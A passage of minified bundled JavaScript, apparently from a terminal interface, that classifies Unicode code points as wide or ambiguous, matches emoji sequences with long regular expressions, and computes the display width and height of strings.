||A===8725||A===8730||A>=8733&&A<=8736||A===8739||A===8741||A>=8743&&A<=8748||A===8750||A>=8756&&A<=8759||A===8764||A===8765||A===8776||A===8780||A===8786||A===8800||A===8801||A>=8804&&A<=8807||A===8810||A===8811||A===8814||A===8815||A===8834||A===8835||A===8838||A===8839||A===8853||A===8857||A===8869||A===8895||A===8978||A>=9312&&A<=9449||A>=9451&&A<=9547||A>=9552&&A<=9587||A>=9600&&A<=9615||A>=9618&&A<=9621||A===9632||A===9633||A>=9635&&A<=9641||A===9650||A===9651||A===9654||A===9655||A===9660||A===9661||A===9664||A===9665||A>=9670&&A<=9672||A===9675||A>=9678&&A<=9681||A>=9698&&A<=9701||A===9711||A===9733||A===9734||A===9737||A===9742||A===9743||A===9756||A===9758||A===9792||A===9794||A===9824||A===9825||A>=9827&&A<=9829||A>=9831&&A<=9834||A===9836||A===9837||A===9839||A===9886||A===9887||A===9919||A>=9926&&A<=9933||A>=9935&&A<=9939||A>=9941&&A<=9953||A===9955||A===9960||A===9961||A>=9963&&A<=9969||A===9972||A>=9974&&A<=9977||A===9979||A===9980||A===9982||A===9983||A===10045||A>=10102&&A<=10111||A>=11094&&A<=11097||A>=12872&&A<=12879||A>=57344&&A<=63743||A>=65024&&A<=65039||A===65533||A>=127232&&A<=127242||A>=127248&&A<=127277||A>=127280&&A<=127337||A>=127344&&A<=127373||A===127375||A===127376||A>=127387&&A<=127404||A>=917760&&A<=917999||A>=983040&&A<=1048573||A>=1048576&&A<=1114109}function kyA(A){return A===12288||A>=65281&&A<=65376||A>=65504&&A<=65510}function CyA(A){return A>=4352&&A<=4447||A===8986||A===8987||A===9001||A===9002||A>=9193&&A<=9196||A===9200||A===9203||A===9725||A===9726||A===9748||A===9749||A>=9776&&A<=9783||A>=9800&&A<=9811||A===9855||A>=9866&&A<=9871||A===9875||A===9889||A===9898||A===9899||A===9917||A===9918||A===9924||A===9925||A===9934||A===9940||A===9962||A===9970||A===9971||A===9973||A===9978||A===9981||A===9989||A===9994||A===9995||A===10024||A===10060||A===10062||A>=10067&&A<=10069||A===10071||A>=10133&&A<=10135||A===10160||A===10175||A===11035||A===11036||A===11088||A===11093||A>=11904&&A<=11929||A>=11931&&A<=12019||A>=12032&&A<=12245||A>=12272&&A<=12287||A>=12289&&A<=12350||A>=12353&&A<=12438||A>=12441&&A<=12543||A>=12549&&A<=12591||A>=12593&&A<=12686||A>=12688&&A<=12773||A>=12783&&A<=12830||A>=12832&&A<=12871||A>=12880&&A<=42124||A>=42128&&A<=42182||A>=43360&&A<=43388||A>=44032&&A<=55203||A>=63744&&A<=64255||A>=65040&&A<=65049||A>=65072&&A<=65106||A>=65108&&A<=65126||A>=65128&&A<=65131||A>=94176&&A<=94180||A>=94192&&A<=94198||A>=94208&&A<=101589||A>=101631&&A<=101662||A>=101760&&A<=101874||A>=110576&&A<=110579||A>=110581&&A<=110587||A===110589||A===110590||A>=110592&&A<=110882||A===110898||A>=110928&&A<=110930||A===110933||A>=110948&&A<=110951||A>=110960&&A<=111355||A>=119552&&A<=119638||A>=119648&&A<=119670||A===126980||A===127183||A===127374||A>=127377&&A<=127386||A>=127488&&A<=127490||A>=127504&&A<=127547||A>=127552&&A<=127560||A===127568||A===127569||A>=127584&&A<=127589||A>=127744&&A<=127776||A>=127789&&A<=127797||A>=127799&&A<=127868||A>=127870&&A<=127891||A>=127904&&A<=127946||A>=127951&&A<=127955||A>=127968&&A<=127984||A===127988||A>=127992&&A<=128062||A===128064||A>=128066&&A<=128252||A>=128255&&A<=128317||A>=128331&&A<=128334||A>=128336&&A<=128359||A===128378||A===128405||A===128406||A===128420||A>=128507&&A<=128591||A>=128640&&A<=128709||A===128716||A>=128720&&A<=128722||A>=128725&&A<=128728||A>=128732&&A<=128735||A===128747||A===128748||A>=128756&&A<=128764||A>=128992&&A<=129003||A===129008||A>=129292&&A<=129338||A>=129340&&A<=129349||A>=129351&&A<=129535||A>=129648&&A<=129660||A>=129664&&A<=129674||A>=129678&&A<=129734||A===129736||A>=129741&&A<=129756||A>=129759&&A<=129770||A>=129775&&A<=129784||A>=131072&&A<=196605||A>=196608&&A<=262141}var g76=()=>{};function aa3(A){if(!Number.isSafeInteger(A))throw TypeError(`Expected a code point, got \`${typeof A}\`.`)}function H4A(A,{ambiguousAsWide:K=!1}={}){if(aa3(A),kyA(A)||CyA(A)||K&&gJ4(A))return 2;return 1}var LyA=k(()=>{g76();g76()});var QJ4=v((nKw,FJ4)=>{FJ4.exports=function(){return/\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74|\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73)\uDB40\uDC7F|\uD83D\uDC68(?:\uD83C\uDFFC\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68\uD83C\uDFFB|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFF\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFE])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFE\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFD])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFD\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFC])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\u200D(?:\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83D\uDC68|(?:\uD83D[\uDC68\uDC69])\u200D(?:\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67]))|\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67])|(?:\uD83D[\uDC68\uDC69])\u200D(?:\uD83D[\uDC66\uDC67])|[\u2695\u2696\u2708]\uFE0F|\uD83D[\uDC66\uDC67]|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|(?:\uD83C\uDFFB\u200D[\u2695\u2696\u2708]|\uD83C\uDFFF\u200D[\u2695\u2696\u2708]|\uD83C\uDFFE\u200D[\u2695\u2696\u2708]|\uD83C\uDFFD\u200D[\u2695\u2696\u2708]|\uD83C\uDFFC\u200D[\u2695\u2696\u2708])\uFE0F|\uD83C\uDFFB\u200D(?:\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C[\uDFFB-\uDFFF])|(?:\uD83E\uDDD1\uD83C\uDFFB\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D\uD83D\uDC69)\uD83C\uDFFB|\uD83E\uDDD1(?:\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1(?:\uD83C[\uDFFB-\uDFFF])|\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1)|(?:\uD83E\uDDD1\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFE])|(?:\uD83E\uDDD1\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D\uD83D\uDC69)(?:\uD83C[\uDFFB\uDFFC])|\uD83D\uDC69(?:\uD83C\uDFFE\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFD\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFC\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFD-\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFB\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFC-\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFD\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\u200D(?:\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D(?:\uD83D[\uDC68\uDC69])|\uD83D[\uDC68\uDC69])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFF\u200D(?:\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD]))|\uD83D\uDC69\u200D\uD83D\uDC69\u200D(?:\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67]))|(?:\uD83E\uDDD1\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D\uD83D\uDC69)(?:\uD83C[\uDFFB-\uDFFD])|\uD83D\uDC69\u200D\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC69\u200D\uD83D\uDC69\u200D(?:\uD83D[\uDC66\uDC67])|(?:\uD83D\uDC41\uFE0F\u200D\uD83D\uDDE8|\uD83D\uDC69(?:\uD83C\uDFFF\u200D[\u2695\u2696\u2708]|\uD83C\uDFFE\u200D[\u2695\u2696\u2708]|\uD83C\uDFFC\u200D[\u2695\u2696\u2708]|\uD83C\uDFFB\u200D[\u2695\u2696\u2708]|\uD83C\uDFFD\u200D[\u2695\u2696\u2708]|\u200D[\u2695\u2696\u2708])|(?:(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)\uFE0F|\uD83D\uDC6F|\uD83E[\uDD3C\uDDDE\uDDDF])\u200D[\u2640\u2642]|(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2640\u2642]|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD-\uDDCF\uDDD6-\uDDDD])(?:(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2640\u2642]|\u200D[\u2640\u2642])|\uD83C\uDFF4\u200D\u2620)\uFE0F|\uD83D\uDC69\u200D\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67])|\uD83C\uDFF3\uFE0F\u200D\uD83C\uDF08|\uD83D\uDC15\u200D\uD83E\uDDBA|\uD83D\uDC69\u200D\uD83D\uDC66|\uD83D\uDC69\u200D\uD83D\uDC67|\uD83C\uDDFD\uD83C\uDDF0|\uD83C\uDDF4\uD83C\uDDF2|\uD83C\uDDF6\uD83C\uDDE6|[#\*0-9]\uFE0F\u20E3|\uD83C\uDDE7(?:\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEF\uDDF1-\uDDF4\uDDF6-\uDDF9\uDDFB\uDDFC\uDDFE\uDDFF])|\uD83C\uDDF9(?:\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDED\uDDEF-\uDDF4\uDDF7\uDDF9\uDDFB\uDDFC\uDDFF])|\uD83C\uDDEA(?:\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDED\uDDF7-\uDDFA])|\uD83E\uDDD1(?:\uD83C[\uDFFB-\uDFFF])|\uD83C\uDDF7(?:\uD83C[\uDDEA\uDDF4\uDDF8\uDDFA\uDDFC])|\uD83D\uDC69(?:\uD83C[\uDFFB-\uDFFF])|\uD83C\uDDF2(?:\uD83C[\uDDE6\uDDE8-\uDDED\uDDF0-\uDDFF])|\uD83C\uDDE6(?:\uD83C[\uDDE8-\uDDEC\uDDEE\uDDF1\uDDF2\uDDF4\uDDF6-\uDDFA\uDDFC\uDDFD\uDDFF])|\uD83C\uDDF0(?:\uD83C[\uDDEA\uDDEC-\uDDEE\uDDF2\uDDF3\uDDF5\uDDF7\uDDFC\uDDFE\uDDFF])|\uD83C\uDDED(?:\uD83C[\uDDF0\uDDF2\uDDF3\uDDF7\uDDF9\uDDFA])|\uD83C\uDDE9(?:\uD83C[\uDDEA\uDDEC\uDDEF\uDDF0\uDDF2\uDDF4\uDDFF])|\uD83C\uDDFE(?:\uD83C[\uDDEA\uDDF9])|\uD83C\uDDEC(?:\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEE\uDDF1-\uDDF3\uDDF5-\uDDFA\uDDFC\uDDFE])|\uD83C\uDDF8(?:\uD83C[\uDDE6-\uDDEA\uDDEC-\uDDF4\uDDF7-\uDDF9\uDDFB\uDDFD-\uDDFF])|\uD83C\uDDEB(?:\uD83C[\uDDEE-\uDDF0\uDDF2\uDDF4\uDDF7])|\uD83C\uDDF5(?:\uD83C[\uDDE6\uDDEA-\uDDED\uDDF0-\uDDF3\uDDF7-\uDDF9\uDDFC\uDDFE])|\uD83C\uDDFB(?:\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDEE\uDDF3\uDDFA])|\uD83C\uDDF3(?:\uD83C[\uDDE6\uDDE8\uDDEA-\uDDEC\uDDEE\uDDF1\uDDF4\uDDF5\uDDF7\uDDFA\uDDFF])|\uD83C\uDDE8(?:\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDEE\uDDF0-\uDDF5\uDDF7\uDDFA-\uDDFF])|\uD83C\uDDF1(?:\uD83C[\uDDE6-\uDDE8\uDDEE\uDDF0\uDDF7-\uDDFB\uDDFE])|\uD83C\uDDFF(?:\uD83C[\uDDE6\uDDF2\uDDFC])|\uD83C\uDDFC(?:\uD83C[\uDDEB\uDDF8])|\uD83C\uDDFA(?:\uD83C[\uDDE6\uDDEC\uDDF2\uDDF3\uDDF8\uDDFE\uDDFF])|\uD83C\uDDEE(?:\uD83C[\uDDE8-\uDDEA\uDDF1-\uDDF4\uDDF6-\uDDF9])|\uD83C\uDDEF(?:\uD83C[\uDDEA\uDDF2\uDDF4\uDDF5])|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD-\uDDCF\uDDD6-\uDDDD])(?:\uD83C[\uDFFB-\uDFFF])|(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)(?:\uD83C[\uDFFB-\uDFFF])|(?:[\u261D\u270A-\u270D]|\uD83C[\uDF85\uDFC2\uDFC7]|\uD83D[\uDC42\uDC43\uDC46-\uDC50\uDC66\uDC67\uDC6B-\uDC6D\uDC70\uDC72\uDC74-\uDC76\uDC78\uDC7C\uDC83\uDC85\uDCAA\uDD74\uDD7A\uDD90\uDD95\uDD96\uDE4C\uDE4F\uDEC0\uDECC]|\uD83E[\uDD0F\uDD18-\uDD1C\uDD1E\uDD1F\uDD30-\uDD36\uDDB5\uDDB6\uDDBB\uDDD2-\uDDD5])(?:\uD83C[\uDFFB-\uDFFF])|(?:[\u231A\u231B\u23E9-\u23EC\u23F0\u23F3\u25FD\u25FE\u2614\u2615\u2648-\u2653\u267F\u2693\u26A1\u26AA\u26AB\u26BD\u26BE\u26C4\u26C5\u26CE\u26D4\u26EA\u26F2\u26F3\u26F5\u26FA\u26FD\u2705\u270A\u270B\u2728\u274C\u274E\u2753-\u2755\u2757\u2795-\u2797\u27B0\u27BF\u2B1B\u2B1C\u2B50\u2B55]|\uD83C[\uDC04\uDCCF\uDD8E\uDD91-\uDD9A\uDDE6-\uDDFF\uDE01\uDE1A\uDE2F\uDE32-\uDE36\uDE38-\uDE3A\uDE50\uDE51\uDF00-\uDF20\uDF2D-\uDF35\uDF37-\uDF7C\uDF7E-\uDF93\uDFA0-\uDFCA\uDFCF-\uDFD3\uDFE0-\uDFF0\uDFF4\uDFF8-\uDFFF]|\uD83D[\uDC00-\uDC3E\uDC40\uDC42-\uDCFC\uDCFF-\uDD3D\uDD4B-\uDD4E\uDD50-\uDD67\uDD7A\uDD95\uDD96\uDDA4\uDDFB-\uDE4F\uDE80-\uDEC5\uDECC\uDED0-\uDED2\uDED5\uDEEB\uDEEC\uDEF4-\uDEFA\uDFE0-\uDFEB]|\uD83E[\uDD0D-\uDD3A\uDD3C-\uDD45\uDD47-\uDD71\uDD73-\uDD76\uDD7A-\uDDA2\uDDA5-\uDDAA\uDDAE-\uDDCA\uDDCD-\uDDFF\uDE70-\uDE73\uDE78-\uDE7A\uDE80-\uDE82\uDE90-\uDE95])|(?:[#\*0-9\xA9\xAE\u203C\u2049\u2122\u2139\u2194-\u2199\u21A9\u21AA\u231A\u231B\u2328\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638-\u263A\u2640\u2642\u2648-\u2653\u265F\u2660\u2663\u2665\u2666\u2668\u267B\u267E\u267F\u2692-\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753-\u2755\u2757\u2763\u2764\u2795-\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05-\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]|\uD83C[\uDC04\uDCCF\uDD70\uDD71\uDD7E\uDD7F\uDD8E\uDD91-\uDD9A\uDDE6-\uDDFF\uDE01\uDE02\uDE1A\uDE2F\uDE32-\uDE3A\uDE50\uDE51\uDF00-\uDF21\uDF24-\uDF93\uDF96\uDF97\uDF99-\uDF9B\uDF9E-\uDFF0\uDFF3-\uDFF5\uDFF7-\uDFFF]|\uD83D[\uDC00-\uDCFD\uDCFF-\uDD3D\uDD49-\uDD4E\uDD50-\uDD67\uDD6F\uDD70\uDD73-\uDD7A\uDD87\uDD8A-\uDD8D\uDD90\uDD95\uDD96\uDDA4\uDDA5\uDDA8\uDDB1\uDDB2\uDDBC\uDDC2-\uDDC4\uDDD1-\uDDD3\uDDDC-\uDDDE\uDDE1\uDDE3\uDDE8\uDDEF\uDDF3\uDDFA-\uDE4F\uDE80-\uDEC5\uDECB-\uDED2\uDED5\uDEE0-\uDEE5\uDEE9\uDEEB\uDEEC\uDEF0\uDEF3-\uDEFA\uDFE0-\uDFEB]|\uD83E[\uDD0D-\uDD3A\uDD3C-\uDD45\uDD47-\uDD71\uDD73-\uDD76\uDD7A-\uDDA2\uDDA5-\uDDAA\uDDAE-\uDDCA\uDDCD-\uDDFF\uDE70-\uDE73\uDE78-\uDE7A\uDE80-\uDE82\uDE90-\uDE95])\uFE0F|(?:[\u261D\u26F9\u270A-\u270D]|\uD83C[\uDF85\uDFC2-\uDFC4\uDFC7\uDFCA-\uDFCC]|\uD83D[\uDC42\uDC43\uDC46-\uDC50\uDC66-\uDC78\uDC7C\uDC81-\uDC83\uDC85-\uDC87\uDC8F\uDC91\uDCAA\uDD74\uDD75\uDD7A\uDD90\uDD95\uDD96\uDE45-\uDE47\uDE4B-\uDE4F\uDEA3\uDEB4-\uDEB6\uDEC0\uDECC]|\uD83E[\uDD0F\uDD18-\uDD1F\uDD26\uDD30-\uDD39\uDD3C-\uDD3E\uDDB5\uDDB6\uDDB8\uDDB9\uDDBB\uDDCD-\uDDCF\uDDD1-\uDDDD])/g}});function cJ4(A){if(typeof A!=="string"||A.length===0)return 0;let K=!0;for(let Y=0;Y<A.length;Y++){let z=A.charCodeAt(Y);if(z>=127||z===27){K=!1;break}}if(K){let Y=0;for(let z=0;z<A.length;z++)if(A.charCodeAt(z)>31)Y++;return Y}if(A.includes("\x1B")){if(A=AH(A),A.length===0)return 0}if(!ta3(A)){let Y=0;for(let z of A){let w=z.codePointAt(0);if(!pJ4(w))Y+=H4A(w,{ambiguousAsWide:!1})}return Y}let q=0;for(let{segment:Y}of sa3.segment(A)){if(UJ4.lastIndex=0,UJ4.test(Y)){q+=ea3(Y);continue}for(let z of Y){let w=z.codePointAt(0);if(!pJ4(w)){q+=H4A(w,{ambiguousAsWide:!1});break}}}return q}function ta3(A){for(let K of A){let q=K.codePointAt(0);if(q>=127744&&q<=129791)return!0;if(q>=9728&&q<=10175)return!0;if(q>=127462&&q<=127487)return!0;if(q>=65024&&q<=65039)return!0;if(q===8205)return!0}return!1}function ea3(A){let K=A.codePointAt(0);if(K>=127462&&K<=127487){let q=0;for(let Y of A)q++;return q===1?1:2}if(A.length===2){if(A.codePointAt(1)===65039&&(K>=48&&K<=57||K===35||K===42))return 1}return 2}function pJ4(A){if(A>=32&&A<127)return!1;if(A>=160&&A<768)return A===173;if(A<=31||A>=127&&A<=159)return!0;if(A>=8203&&A<=8205||A===65279||A>=8288&&A<=8292)return!0;if(A>=65024&&A<=65039||A>=917760&&A<=917999)return!0;if(A>=768&&A<=879||A>=6832&&A<=6911||A>=7616&&A<=7679||A>=8400&&A<=8447||A>=65056&&A<=65071)return!0;if(A>=2304&&A<=3407){let K=A&127;if(K<=3)return!0;if(K>=58&&K<=79)return!0;if(K>=81&&K<=87)return!0;if(K>=98&&K<=99)return!0}if(A>=3633&&A<=3642||A>=3655&&A<=3662||A>=3761&&A<=3772||A>=3784&&A<=3789)return!0;if(A>=1536&&A<=1541||A===1757||A===1807||A===2274)return!0;if(A>=55296&&A<=57343)return!0;if(A>=917504&&A<=917631)return!0;return!1}function As3(A){if(!A.includes(""))return!1;for(let K=1;K<A.length;K++)if(A.charCodeAt(K)===8205){let q=A.charCodeAt(K-1);if(q===2381||q===2509||q===2637||q===2765||q===2893||q===3021||q===3149||q===3277||q===3405)return!0}return!1}function Ks3(A){if(As3(A))return cJ4(A);return Bun.stringWidth(A,{ambiguousIsNarrow:!0})}var dJ4,sa3,UJ4,j7;var XG=k(()=>{bk();LyA();dJ4=o(QJ4(),1),sa3=new Intl.Segmenter,UJ4=dJ4.default();j7=typeof Bun<"u"?Ks3:cJ4});function GXA(A){let K=0;for(let q of A.split(` `))K=Math.max(K,j7(q));return K}var Y51=k(()=>{XG()});function lJ4(A,K){if(K<=0||!Number.isFinite(K))return A.split(` `).length;let q=0;for(let Y of A.split(` `)){let z=j7(Y);q+=z===0?1:Math.ceil(z/K)}return q}var iJ4=k(()=>{XG()});function qs3(A,K){if(A.length===0)return{width:0,height:0};let q=`${K}|${A}`,Y=nJ4[q];if(Y)return Y;let z=lJ4(A,K),H={width:GXA(A),height:z};return nJ4[q]=H,H}var nJ4,z51;var rJ4=k(()=>{Y51();iJ4();nJ4={};z51=qs3});var aJ4=v((zqw,oJ4)=>{oJ4.exports=()=>{return/[#*0-9]\uFE0F?\u20E3|[\xA9\xAE\u203C\u2049\u2122\u2139\u2194-\u2199\u21A9\u21AA\u231A\u231B\u2328\u23CF\u23ED-\u23EF\u23F1\u23F2\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB\u25FC\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638-\u263A\u2640\u2642\u2648-\u2653\u265F\u2660\u2663\u2665\u2666\u2668\u267B\u267E\u267F\u2692\u2694-\u2697\u2699\u269B\u269C\u26A0\u26A7\u26AA\u26B0\u26B1\u26BD\u26BE\u26C4\u26C8\u26CF\u26D1\u26E9\u26F0-\u26F5\u26F7\u26F8\u26FA\u2702\u2708\u2709\u270F\u2712\u2714\u2716\u271D\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u27A1\u2934\u2935\u2B05-\u2B07\u2B1B\u2B1C\u2B55\u3030\u303D\u3297\u3299]\uFE0F?|[\u261D\u270C\u270D](?:\uD83C[\uDFFB-\uDFFF]|\uFE0F)?|[\u270A\u270B](?:\uD83C[\uDFFB-\uDFFF])?|[\u23E9-\u23EC\u23F0\u23F3\u25FD\u2693\u26A1\u26AB\u26C5\u26CE\u26D4\u26EA\u26FD\u2705\u2728\u274C\u274E\u2753-\u2755\u2795-\u2797\u27B0\u27BF\u2B50]|\u26D3\uFE0F?(?:\u200D\uD83D\uDCA5)?|\u26F9(?:\uD83C[\uDFFB-\uDFFF]|\uFE0F)?(?:\u200D[\u2640\u2642]\uFE0F?)?|\u2764\uFE0F?(?:\u200D(?:\uD83D\uDD25|\uD83E\uDE79))?|\uD83C(?:[\uDC04\uDD70\uDD71\uDD7E\uDD7F\uDE02\uDE37\uDF21\uDF24-\uDF2C\uDF36\uDF7D\uDF96\uDF97\uDF99-\uDF9B\uDF9E\uDF9F\uDFCD\uDFCE\uDFD4-\uDFDF\uDFF5\uDFF7]\uFE0F?|[\uDF85\uDFC2\uDFC7](?:\uD83C[\uDFFB-\uDFFF])?|[\uDFC4\uDFCA](?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDFCB\uDFCC](?:\uD83C[\uDFFB-\uDFFF]|\uFE0F)?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDCCF\uDD8E\uDD91-\uDD9A\uDE01\uDE1A\uDE2F\uDE32-\uDE36\uDE38-\uDE3A\uDE50\uDE51\uDF00-\uDF20\uDF2D-\uDF35\uDF37-\uDF43\uDF45-\uDF4A\uDF4C-\uDF7C\uDF7E-\uDF84\uDF86-\uDF93\uDFA0-\uDFC1\uDFC5\uDFC6\uDFC8\uDFC9\uDFCF-\uDFD3\uDFE0-\uDFF0\uDFF8-\uDFFF]|\uDDE6\uD83C[\uDDE8-\uDDEC\uDDEE\uDDF1\uDDF2\uDDF4\uDDF6-\uDDFA\uDDFC\uDDFD\uDDFF]|\uDDE7\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEF\uDDF1-\uDDF4\uDDF6-\uDDF9\uDDFB\uDDFC\uDDFE\uDDFF]|\uDDE8\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDEE\uDDF0-\uDDF7\uDDFA-\uDDFF]|\uDDE9\uD83C[\uDDEA\uDDEC\uDDEF\uDDF0\uDDF2\uDDF4\uDDFF]|\uDDEA\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDED\uDDF7-\uDDFA]|\uDDEB\uD83C[\uDDEE-\uDDF0\uDDF2\uDDF4\uDDF7]|\uDDEC\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEE\uDDF1-\uDDF3\uDDF5-\uDDFA\uDDFC\uDDFE]|\uDDED\uD83C[\uDDF0\uDDF2\uDDF3\uDDF7\uDDF9\uDDFA]|\uDDEE\uD83C[\uDDE8-\uDDEA\uDDF1-\uDDF4\uDDF6-\uDDF9]|\uDDEF\uD83C[\uDDEA\uDDF2\uDDF4\uDDF5]|\uDDF0\uD83C[\uDDEA\uDDEC-\uDDEE\u